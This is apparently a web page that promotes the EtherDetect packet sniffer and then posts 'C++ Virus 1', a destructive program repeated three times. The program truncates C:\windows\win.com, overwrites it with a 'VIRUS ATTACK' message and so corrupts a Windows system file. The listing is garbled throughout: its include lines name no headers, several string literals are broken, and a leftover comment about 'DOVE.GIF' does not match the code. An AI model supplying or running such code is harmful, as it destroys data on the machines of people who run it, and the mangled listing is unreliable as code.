EtherDetect Packet Sniffer is a helpful tool for network developer, web page designers, LAN administrators, security professionals, C++/Java/ASP/JSP/PHP/SOAP programmers, and those who are interested in network traffic going through his PC or the whole LAN.

The new version supports live capturing for Intel wireless network adapter, Vista x86, and Vista x64. 

DOWNLOAD

ETHERDETECT

C++ Virus 1

Warning:-- Do not run this on your pc.

#include

#include

#include

#include

#include

#include

#include

#include

int main(void)

{

   clrscr();

   int handle;

   char string[1000];

   int length, res,i;

   /*

    Create a file named "DOVE.GIF" in the current directory and write

    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.

   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

          S_IREAD | S_IWRITE)) == -1)

   {

      printf("Error opening file.
);

      exit(1);

   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!
);

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)

   {

      printf("Error writing to the file.
);

      getch();

      exit(1);

   }

   printf("

Wrote %d bytes to the file.
, res);

  cout<<"

Hello !!!!!!!!";

  cout<<"

This is a VIRUS ATTACK !!!";

  cout<<"

This execution currupt your WINDOWS !!!!!!
;

   close(handle);

   getch();

   return 0;

}

//#include

#include

#include

#include

#include

#include

#include

#include

int main(void)

{

   clrscr();

   int handle;

   char string[1000];

   int length, res,i;

   /*

    Create a file named "DOVE.GIF" in the current directory and write

    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.

   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

          S_IREAD | S_IWRITE)) == -1)

   {

      printf("Error opening file.
);

      exit(1);

   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!
);

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)

   {

      printf("Error writing to the file.
);

      getch();

      exit(1);

   }

   printf("

Wrote %d bytes to the file.
, res);

  cout<<"

Hello !!!!!!!!";

  cout<<"

This is a VIRUS ATTACK !!!";

  cout<<"

This execution currupt your WINDOWS !!!!!!
;

   close(handle);

   getch();

   return 0;

}

// #include

#include

#include

#include

#include

#include

#include

#include

int main(void)

{

   clrscr();

   int handle;

   char string[1000];

   int length, res,i;

   /*

    Create a file named "DOVE.GIF" in the current directory and write

    a string to it.  If "DOVE.GIF" already exists, it will be overwritten.

   */

   if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

          S_IREAD | S_IWRITE)) == -1)

   {

      printf("Error opening file.
);

      exit(1);

   }

   strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!
);

   length = strlen(string);

   if ((res = write(handle, string, length)) != length)

   {

      printf("Error writing to the file.
);

      getch();

      exit(1);

   }

   printf("

Wrote %d bytes to the file.
, res);

  cout<<"

Hello !!!!!!!!";

  cout<<"

This is a VIRUS ATTACK !!!";

  cout<<"

This execution currupt your WINDOWS !!!!!!
;

   close(handle);

   getch();

   return 0;

}